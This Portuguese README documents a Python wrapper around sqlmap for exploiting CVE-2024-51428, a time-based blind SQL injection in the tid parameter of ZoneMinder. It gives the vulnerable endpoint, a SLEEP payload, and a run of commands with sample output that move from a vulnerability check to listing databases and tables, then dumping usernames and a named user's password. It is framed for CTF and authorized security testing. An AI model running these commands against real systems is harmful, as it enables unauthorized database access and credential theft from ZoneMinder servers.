
Wrapper em Python para explorar CVE-2024-51428 no ZoneMinder usando Injeção SQL cega com sqlmap, automatizando enumeração de bases de dados, tabelas e extração de dados com saída limpa.
Wrapper em Python para o sqlmap projetado para explorar o CVE-2024-51428 no ZoneMinder.
Esta ferramenta automatiza a detecção e exploração de uma vulnerabilidade de Injeção SQL Cega, mantendo a saída limpa e focada em dados úteis.
O script oculta os logs do sqlmap e exibe apenas informações relevantes, como:
Isso torna a ferramenta ideal para ambientes CTF, demonstrações e testes de segurança.
CVE: CVE-2024-51428
Tipo: Injeção SQL Cega
Software Afetado: ZoneMinder
Vetor de Ataque: Parâmetro HTTP GET
Parâmetro: tid
A vulnerabilidade existe no seguinte endpoint:
/zm/index.php?view=request&request=event&action=removetag&tid=
O parâmetro tid não é devidamente sanitizado antes de ser usado em uma consulta ao banco de dados, permitindo que atacantes injetem consultas SQL.
A técnica de exploração utilizada é a injeção SQL cega baseada em tempo.
Exemplo de payload descoberto pelo sqlmap:
tid=1 AND (SELECT 3475 FROM (SELECT(SLEEP(5)))BZWD)
Esse payload força o banco de dados a dormir se a consulta for executada com sucesso, confirmando a presença de injeção SQL.
Instale o sqlmap se necessário:
sudo apt install sqlmap
Sintaxe básica:
python3 poc.py --url <TARGET_URL> -c '<ZMSESSID_COOKIE>'
Com este comando verificamos se é vulnerável ou não
Exemplo:
python3 poc.py --url http://target.htb -c '151fvdqmjkhnkfat7l5epgmd22'
O exploit requer um cookie de sessão válido do ZoneMinder.
Passos:
Application → Cookies
ZMSESSID
-cExemplo:
-c '151fvdqmjkhnkfat7l5epgmd22'
python3 poc.py --url http://target.htb -c 'COOKIE'
Exemplo de saída:
[*] Checking vulnerability...
Parameter: tid (GET)
Type: time-based blind
Payload: tid=1 AND (SELECT(SLEEP(5)))
[+] TARGET IS VULNERABLE TO BLIND SQL INJECTION
python3 poc.py --url http://target.htb -c 'COOKIE' -d
Exemplo de saída:
available databases [3]:
information_schema
mysql
zm
python3 poc.py --url http://target.htb -c 'COOKIE' -d -db zm
Exemplo de saída:
Database: zm
Users
Events
Monitors
Storage
python3 poc.py --url http://target.htb -c 'COOKIE' -d -db zm -t Users
python3 poc.py --url http://target.htb -c 'COOKIE' -d -db zm -t Users -f Username
Exemplo:
+----------+
| Username |
+----------+
| admin |
| viewer |
+----------+
Você pode filtrar linhas usando:
-ff <COLUMN> <VALUE>
Exemplo:
python3 poc.py --url http://target.htb -c 'COOKIE' -d -db zm -t Password -ff Username mark
SQL equivalente:
WHERE Username='mark'
Exemplo:
python3 poc.py \
--url http://target.htb \
-c 'COOKIE' \
-d -db zm -t Users \
-f Password \
-ff Username mark
Comando sqlmap interno:
sqlmap -D zm -T Users -C Password --where="Username='mark'" --dump
O script atua como um wrapper em torno do sqlmap.
Etapas realizadas internamente:
/zm/index.php?view=request&request=event&action=removetag&tid=1
--threads=10
--technique=T
--batch
Esta ferramenta foi criada para:
Este projeto é fornecido apenas para fins educacionais e de testes de segurança autorizados.
O autor não é responsável por qualquer uso indevido desta ferramenta.
Sempre obtenha a devida autorização antes de testar qualquer sistema.
Pesquisa em Segurança / Ferramentas CTF